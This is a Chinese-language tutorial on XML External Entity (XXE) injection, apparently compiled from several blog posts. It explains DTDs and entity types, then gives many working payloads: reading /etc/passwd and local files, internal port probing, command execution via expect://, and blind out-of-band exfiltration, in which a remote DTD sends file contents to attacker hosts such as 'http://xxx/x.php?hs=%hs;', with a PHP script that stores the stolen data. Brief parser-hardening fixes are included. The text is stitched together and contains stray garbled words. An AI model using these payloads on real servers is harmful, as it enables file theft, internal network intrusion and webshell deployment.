XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展连接语言(Extensible Link Language,XLL)。php
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具备结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预约义。您须要自行定义标签。它被设计为具备自我描述性。它是W3C的推荐标准。html
可扩展标记语言(XML)和超文本标记语言(HTML)为不一样的目的而设计html5
它被设计用来传输和存储数据,其焦点是数据的内容。java
超文本标记语言被设计用来显示数据,其焦点是数据的外观node
XML使用元素和属性来描述数 据。在数据传送过程当中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 能够共享和解析同一个XML文件,没必要使用传统的字符串解析或拆解过程。 相反,普通文件不对每一个数据段作描述(除了在头文件中),也不保留数据关系结构。使用XML作数据交换可使应用程序更具备弹性,由于能够用位置(与普通文件同样)或用元素名(从数据库)来存取XML数据。python
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素linux
<?xml version="1.0" encoding="UTF-8"?>git
<!-- ⬆XML声明⬆ -->github
<!DOCTYPE 文件名 [web
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其余元素
</元素名称>
<!-- ⬆文档元素⬆ -->
XML用于标记电子文件使其具备结构性的标记语言,能够用来标记数据、定义数据类型,是一种容许用户对本身的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD(文档类型定义)的做用是定义 XML 文档的合法构建模块。DTD 能够在 XML 文档内声明,也能够外部引用。
<!DOCTYPE 根元素 [元素声明]>
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,能够内部声明或外部引用。
DTD(文档类型定义)的做用是定义XML文档的合法构建模块。DTD能够在XML文档内声明,也能够外部引用。
外部实体是指XML处理器必须解析的数据。它对于在多个文档之间建立共享的公共引用颇有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,咱们须要在XML文档内部声明一个外部实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,能够内部声明或外部引用。。咱们能够在内部肯定其值(内部子集):
或从外部来源:(外部子集):
注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面。
为了声明这些实体,咱们须要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具备合法元素和属性列表的文档结构。DTD能够在XML文档内部声明,也能够做为外部引用声明—使用SYSTEM标识符指向可解析位置中的另外一组声明。ENTITY可使用SYSTEM关键字,调用外部资源,而这里是支持不少的协议,如:http;file等,而后,在其余DoM结点中可使用如:&test;引用该实体内容.
那么,若是在产品功能设计当中,解析的xml是由外部可控制的,那将可能造成,如:文件读取,DoS,CSRF等漏洞.
若是要引用一个外部资源,能够借助各类协议 几个例子:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
咱们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,能够内部声明或外部引用。
一个内部实体声明
<!ENTITY 实体名称 "实体的值">
例子
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
一个外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例子
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部实体类型有
CDATA 指的是不该由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。
某些文本,好比 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了不错误,能够将脚本代码定义为 CDATA。
CDATA 部分中的全部内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束
XML 中的实体分为如下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义须要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。若是不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果彻底相同。
也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用做引用。在 XML 文档解析过程当中,实体引用将由它的表示替代。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>
<value>&xxe;</value>
能够用作xxe+ssrf
外部实体表示外部文件的内容,用 SYSTEM 关键词表示。
<!ENTITY test SYSTEM "1.xml">
有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’可以访问本地或者远程的内容。好比,下面的XML文档样例就包含了XML ‘实体’。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>
在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程当中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
假如 SYSTEM 后面的内容能够被用户控制,那么用户就能够随意替换为其余内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。而且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,而且仅在通过解析和验证后才用于替换DTD中的文本或其余内容:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
参数实体只能在 DTD文件中被引用,其余实体在XML文档内引用。
即下面实例,参数实体 在DOCTYPE内 ,其余实体在外
<!DOCTYPE a [
<!ENTITY % name SYSTEM “file:///etc/passwd”>
%name;
]>
参数实体在DTD中解析优先级高于xml内部实体
实体至关于变量 “file:///etc/passwd”赋值给name
先写一段简单的xml利用代码,以php为例子:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
echo $xml->name;中->name能够任意更改。
以下所示:
参数实体的示例:
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
如:
<!ENTITY % aaa "233">
参数实体param1中包含内部实体的声明,用于替代<test>标签中的实体引用参数。
这里,必定要注意流程,参数实体在DTD中解析是优先于XML文本中的内部实体解析。
参数实体有几个特性,这几个特性也决定了它能被利用的程度:
l 只能在DTD内部
l 当即引用
l 实体嵌套
内置实体为预留的实体,如:
实体引用字符
< <
> >
& &
" "
' '
而内部实体是指在一个实体中定义的另外一个实体,也就是嵌套定义。
关于实体嵌套的状况,比较幸运的是DTD中支持单双引号,因此能够经过单双引号间隔使用做为区分嵌套实体和实体之间的关系;在实际使用中,咱们一般须要再嵌套一个参数实体,%号是须要处理成 % 以下:
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
%也可写为16进制%
另:内部实体的这支持与否也是取决于解释器的,参考连接4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
]>
<value>&dtd;</value>
这种命名实体调用外部实体,发现evil.xml中不能定义实体,不然解析不了,感受命名实体好鸡肋,参数实体就好用不少
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
其中evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,而后又调用参数实体all,接着调用命名实体send
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>
其中evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
调用过程和第一种方法相似
上图是默认支持协议,还能够支持其余,如PHP支持的扩展协议有
XXE注入,即XML External Entity,XML外部实体注入。经过 XML 实体,”SYSTEM”关键词致使 XML 解析器能够从本地文件或者远程 URI 中读取数据。因此攻击者能够经过 XML 实体传递本身构造的恶意值,是处理程序解析它。当引用外部实体时,经过构造恶意内容,可致使读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,咱们能够预先定义一个这条数据的“别名”,即一个ENTITY,而后在这些文档中须要该数据的地方调用它。XML定义了两种类型的ENTITY,一种在XML文档中使用
如果在PHP中,libxml_disable_entity_loader设置为TRUE可禁用外部实体注。入另外一种做为参数在DTD文件中使用。ENTITY的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的ENTITY在文档中经过“&实体名;”来使用。举例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE booklist [
<!ENTITY publisher "ABC company">
]>
<booklist>
<book>
<name>Ajax</name>
<price>$5.95</price>
<description>Foundations of Ajax.</description>
<publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换
</book>
<book>
<name>Ajax Patterns</name>
<price>$7.95</price>
<description>Introduction of Ajax Patterns.</description>
<publisher>&publisher;</publisher> 这里的&publisher;会被“ABC company”替换
</book>
</booklist>
在 XML 中有 5 个预约义的实体引用:
< |
< |
小于 |
> |
> |
大于 |
& |
& |
和号 |
' |
' |
省略号 |
" |
" |
引号 |
注释:严格地讲,在 XML 中仅有字符 "<"和"&" 是非法的。省略号、引号和大于号是合法的,可是把它们替换为实体引用是个好的习惯。
既然XML能够从外部读取DTD文件,那咱们就天然地想到了若是将路径换成另外一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要咱们在XML中让前面的根元素的内容显示出来,不就能够读取那个文件的内容了。这就形成了一个任意文件读取的漏洞。
那若是咱们指向的是一个内网主机的端口呢?是否会给出错误信息,咱们是否是能够从错误信息上来判断内网主机这个端口是否开放,这就形成了一个内部端口被探测的问题。另外,通常来讲,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另外一种是一部分一部分的、“流式”地加载、解析。若是咱们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,形成了拒绝服务攻击。
构造本地xml接口,先包含本地xml文件,查看返回结果,正常返回后再换为服务器。
payload以下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>
<root>
<name>&xxe;</name>
</root>
读取aa.txt的内容:
通常在漏洞挖掘中咱们是猜想不到<root></root>里面是name标签的。因此咱们用另外一种方法更靠谱:推荐网站:http://ceye.io/payloads
找到网站上自带的XML注入利用代码:
稍微整理下生成payload以下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">
%remote;]>
<root/><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">
%remote;]>
<root/>
看下如今是几点钟:
晚上八点多钟,咱们复制payload发送请求:
看下网站里面自带的日志功能:
应该是时间延迟问题。反正相差十分钟之内!
这里接收到咱们的payload请求说明是存在XML注入的,用这种方法测试XML注入我感受很好
1.能够无限制盲打
2.测试简单方便不须要很繁琐测试猜想
payload以下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
<root>
<name>&xxe;</name>
</root>
成功探测到内网端口内部信息。
我这是在windows下测试,假如是linux下还能够命令执行:
在安装expect扩展的PHP环境里执行系统命令,其余协议也有可能能够执行系统命令
测试payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
这里读取系统命令ifconfig读取ip
方案:使用开发语言提供的禁用外部实体的方法
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XML外部实体(XXE)攻击是许多基于注入的攻击方式之一,当攻击者将声明XML消息中的外部实体发送到应用程序并使用XML解析器解析时,就会发生这种攻击。这个漏洞有许多不一样的类型和行为,由于它可能会发生在不一样类型的技术中—由于不一样类型的XML解析器的缘由。在这种状况下,使人高兴的是,每一个解析器具备不一样的功能和“特征”。
在咱们开始以前,让咱们先认识下可能面临的最多见的XXE漏洞类型—了解这些漏洞类型将有助于咱们调试攻击并建立最终正确的POC:
1.基础的XXE注入— 外部实体注入本地DTD
2.基于盲注的XXE注入—XML解析器在响应中不显示任何错误
3.基于错误的XXE注入—成功解析以后,XML解析器始终显示SAME响应。(即“您的消息已被接收”),所以,咱们可能但愿解析器将文件的内容“打印”到错误响应中。
按照上一个概述,咱们能够经过使用SYSTEM标识符来引用外部实体的数据。因此如今咱们能够引入XXE注入的第一种技术,它将外部实体注入到包含引用本地文件路径(如/ etc / passwd)的SYSTEM标识符的XML文档中:
如今让咱们作一个更复杂和更严重的攻击:
若是做为通用功能的一部分,应用程序服务器没有做出回应呢?(记得刚刚提到的基于错误的XXE吗?)
若是咱们想从其中具备XML特殊字符的外部源读取数据呢?若是在解析过程当中解析失败呢?
这时咱们能够加载引用咱们的远程服务器并尝试从其URL获取内容的辅助外部DTD—这能够是一组字符,或下面的示例转储文件,最重要的是它甚至没有通过XML模式验证过程,由于它在解析器甚至获取远程内容以前发送!
例如,远程DTD文件—包含带有SYSTEM标识符和“file”处理程序的参数实体。请注意,参数实体“file”也链接到实体“send”内的URL:
解析DTD后,咱们获得如下实体:
最终,服务器会尝试以文件内容发送参数“c”所指定的内容,到达咱们定义的URL—咱们记录该内容,并经过这样作来转储文件的内容:
步骤A:
步骤B: — 远程DTD正在解析。咱们正在窃取文件的内容...
步骤C:
咱们成功获得文件内容!
用这种技术记住的几件事情:
文件内容中的字符“#”将致使URL截断。
若是咱们使用“or”定义参数实体,内容可能会中断。
这取决于咱们使用的是哪一种(因此请确保在出现错误的状况下同时使用这两种测试场景)。
有时候,当解析过程成功时,当咱们从服务器获得通用的响应时,咱们可能但愿服务器返回详细错误—所以,咱们可使用与远程DTD相同的技术,但会发生故意的错误如:
解析器将尝试解析DTD并访问发送实体中给出的路径,可是因为不能到达“my-evil-domain。$$$$ ”,咱们将致使如下错误:
而后咱们就能够根据信息调试咱们本身的payload!# 安全脉搏 https://www.secpulse.com/archives/58915.html
请注意,由服务器响应的任何错误显示哪一行致使解析错误,同时出现语法错误,有时咱们可能会使用此信息来调试咱们本身的payload,使用“\ n”。例如:
<!DOCTYPE Author[ \ n
<!ENTITY %% intentate_error_here“test”>]> \ n
包含payload的两个额外的“\ n”会在第一行“\ n”以后的第2行中出现错误,而其他的XML内容将会显示在第3行。
总之,XXE是一个很是强大的攻击,它容许咱们操纵错误的XML解析器并利用它们。请注意,有更多的技术和攻击利用方式能够经过XXE注入完成。如前所述,每一个解析器都有不一样的能力,所以咱们能够提出不一样的漏洞:
此表由研究员Timothy Morgan提供—这些协议可用于上传文件(jar:// ..),在旧版本Java中容许任意数据经过TCP链接(gopher:// ..),阅读PHP源代码查看PHP的处理方式。
本身尝试下载咱们的演示实验室,能够在这里下载!该演示包含一个带有XML有效载荷的.NET xml解析器和须要的远程DTD文件。
对于传统的XXE来讲,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:
提交请求:
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
服务器在这个节点中返回etc/passwd的文件内容:
<username>root:1:3.......</username>
若是服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。
(2)参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,通常引用时使用%做为前缀。而内部实体是指在一个实体中定义的另外一个实体,也就是嵌套定义。
如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
可是在我研究过程当中,发现内部实体的这支持与否也是取决于解释器的。
IE/Firefox:
Chrome:
这也是比较蛋疼的特性,由于php,java,C#等语言的内置XML解析器都是有必定差异的,也就给漏洞利用带来不便。
若是目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其余形式去访问咱们的服务器,而后在日志里就能够找到咱们要获取的内容了。
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,通常引用时使用%做为前缀。而内部实体是指在一个实体中定义的另外一个实体,也就是嵌套定义。
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % hs SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
]>
<root>&send;</root>
xxx.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">
这里解释下,%remote; 会把外部文件引入到这个 XML 中,%all; 替换为后面的嵌套实体,这时再在 root 节点中引入 send 实体,即可实现数据转发。若是在 xxx.xml 中 send 实体是参数实体的话,也能够采用下面的形式。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
%send;
]>
xxx.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/x.php?hs=%hs;'>">
对于传统的XXE来讲,要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,例如上述方式一。
若是服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据(Out-Of-Band)。
但直接在内部实体定义中引用另外一个实体的这种方法行不通
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
最简单的无非是经过参数实体引用,发送一个http请求到咱们服务器,而后观察咱们服务的日志
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evil.com/blind_xxe_test">
%remote;]>
<root/>
若是在服务日志上能接收到则说明存在漏洞
因而考虑内部实体嵌套的形式:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
可是这样作行不通,缘由是不能在实体定义中引用参数实体,即有些解释器不容许在内层实体中使用外部链接,不管内层是通常实体仍是参数实体。
解决方案是:
将嵌套的实体声明放入到一个外部文件中,这里通常是放在攻击者的服务器上,这样作能够规避错误。
和引入方式三有些雷同,以下:
src.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>•
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">•
实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,而后执行%all,这时会检测到send实体,在root节点中引用send,就能够成功实现数据转发。
另一种方法是使用CDATA,可是并不是像wooyun文章说的那样能够读取任意值
php://filter/convert.base64-encode/resource=想要读取的文件路径
1.file:///能够列目录:
2.OOB:
gopher(1.7u7, 1.6u32之前|7u9 6u37之前 ?),配合nc;其余状况用ftp
3.上传文件:
须要进行长连接,经过jar协议(jar:http://127.0.0.1:2014/xxe.jar!/)
https://github.com/pwntester/BlockingServer
4.ftp oob:
在jdk 1.6.35 以上,能够读取tomcat-users,若是管理页面不删,版本若是高于前述状况,也应该能读取
注意:1.6.31如下是不行的,所以结合文件上传和gopher协议来看,基于tomcat成功的getshell,主要因素在于jdk版本,成功的范围很小
5.读XML标签及属性值
前提是内部须要设置 factory.setValidating(true)
例1:读取属性值
xml文档中的标签属性需经过ATTLIST为其设置属性
语法格式:
<!ATTLIST 元素名 属性名 属性值类型 默认值>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE tomcat-users [
<!ELEMENT role EMPTY>
<!ELEMENT user EMPTY>
<!ATTLIST user
username (a|b) #REQUIRED
password (a|b) #REQUIRED
>
]>
<tomcat-users>
<role rolename="tomcat"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
</tomcat-users>•
java Xerces方法的解析结果为(其余解析方式不行):
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this.
Error: URI=null Line=10: Element type "tomcat-users" must be declared.
Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role".
Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "roles" must be declared for element type "user".
实际运用时,是没办法解析tomcat-users.xml的文档的,由于会把 XML 声明代入而形成解析出错
例2:定义标签顺序报错
具体示例以下:
首先创建DTD文件,文件名:person.dtd
文件内容:
<?xml version="1.0" encoding="utf-8" ?>
<!ELEMENT person (name, sex, birthday)*>
<!ELEMENT name (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
<!ELEMENT birthday (#PCDATA)>•
而后创建两个利用这个dtd文件的xml文件
文件名:person.xml
文件内容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
<name>tom</name>
<sex>male</sex>
<birthday>1949-10-01</birthday>
</person>
文件名:worker.xml
文件内容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
<name>tom</name>
<sex>male</sex>
<birthday>1949-10-01</birthday>
<job>it</job>
</person>•
咱们能够看到worker.xml文件不符合dtd的规定,多了一个job的标签。
而后创建java文件
文件名:ValidateXMLDTD.java
package xmlvalidate;
import java.io.FileNotFoundException;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
public class ValidateXMLDTD {
public static void main(String[] args) {
// System.out.println("测试符合DTD规范的XML文件");
// testPerson();
// System.out.println("测试不符合DTD规范的XML文件");
// testWorkder();
}
public static void testPerson() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true); //这里很重要
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("person.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void testWorkder() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true);
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("worker.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}•
修改一下main方法中的注释语句,运行一下,执行结果:
运行testPerson的时候,只输出:测试符合DTD规范的XML文件
,而运行testWorker的时候,输入以下内容:测试不符合DTD规范的XML文件
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not
set, which is probably not what is desired. Parser will use a default
ErrorHandler to print the first 10 errors. Please call
the 'setErrorHandler' method to fix this.
Error: URI=null Line=7: Element type "job" must be declared.
Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*"
【1.php】
<?php
file_put_contents("1.txt", $_GET['file']) ;
?>
【test.php】
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/passwd.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
【evil.xml】
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求,而后存在漏洞的服务器会读出file的内容(c:/1.txt),经过带外通道发送给攻击者服务器上的1.php,1.php作的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
攻击以后1.txt中的数据:
攻击者服务器日志:
遇到XML相关的交互过程,以以下步骤判断是否存在漏洞:
(1)检测XML是否会被解析:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY shit “this is shit”>
]>
<root>&shit;</root>
若是$shit;变成了”this is shit”,那就继续第二步。
(2)检测服务器是否支持外部实体:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
%shit;
]>
经过查看本身服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
(3)若是上面两步都支持,那么就看可否回显。若是能回显,就能够直接使用外部实体的方式进行攻击。固然有时候服务器会不支持通常实体的引用,也就是在DTD以外没法引用实体,若是这样的话,只能使用Blind XXE攻击。
(4)若是不能回显,毫无疑问,使用Blind XXE攻击方法。
当容许引用外部实体时,经过构造恶意内容,可致使读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体方式有多种,好比:
XML内容:
<!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.backlion.org/attack.dtd"> %d; ]>
其中attack.dtd的内容为:
<!ENTITY b SYSTEM "file:///etc/passwd">
XML内容:
DTD文件(evil.dtd)内容:
XML内容:
DTD文件(evil.dtd)内容:
另外,不一样程序支持的协议不同,
上图是默认支持协议,还能够支持其余,如PHP支持的扩展协议有
准备一个有XXE漏洞的文件,以下:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的状况
?>
xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行
POC主要有:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
不一样程序支持的协议不一样
任意读取的代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
1).有直接回显的状况:能够看命名实体写法,根据实际状况替换相应代码利用便可,我本地测试照搬过来
2).无回显的状况:能够看第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法
第一种写法结果如图:
c://test/1.txt文件内容为111111111,能够从apache的日志中看到
::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207
若是把http://localhost:88/evil.xml替换为一个远程服务器的xml文件地址,便可在日志中看到咱们想要获取的数据
第二种写法结果如图:
本地环境读取:
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者经过列目录、读文件,获取账号密码后进一步攻击,如读取tomcat-users.xml获得账号密码后登陆tomcat的manager部署webshell。
另外,数据不回显就没有问题了吗?以下图,
不,能够把数据发送到远程服务器,
远程evil.dtd文件内容以下:
触发XXE攻击后,服务器会把文件内容发送到攻击者网站
基于file协议的XXE攻击
XMLInject.php
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
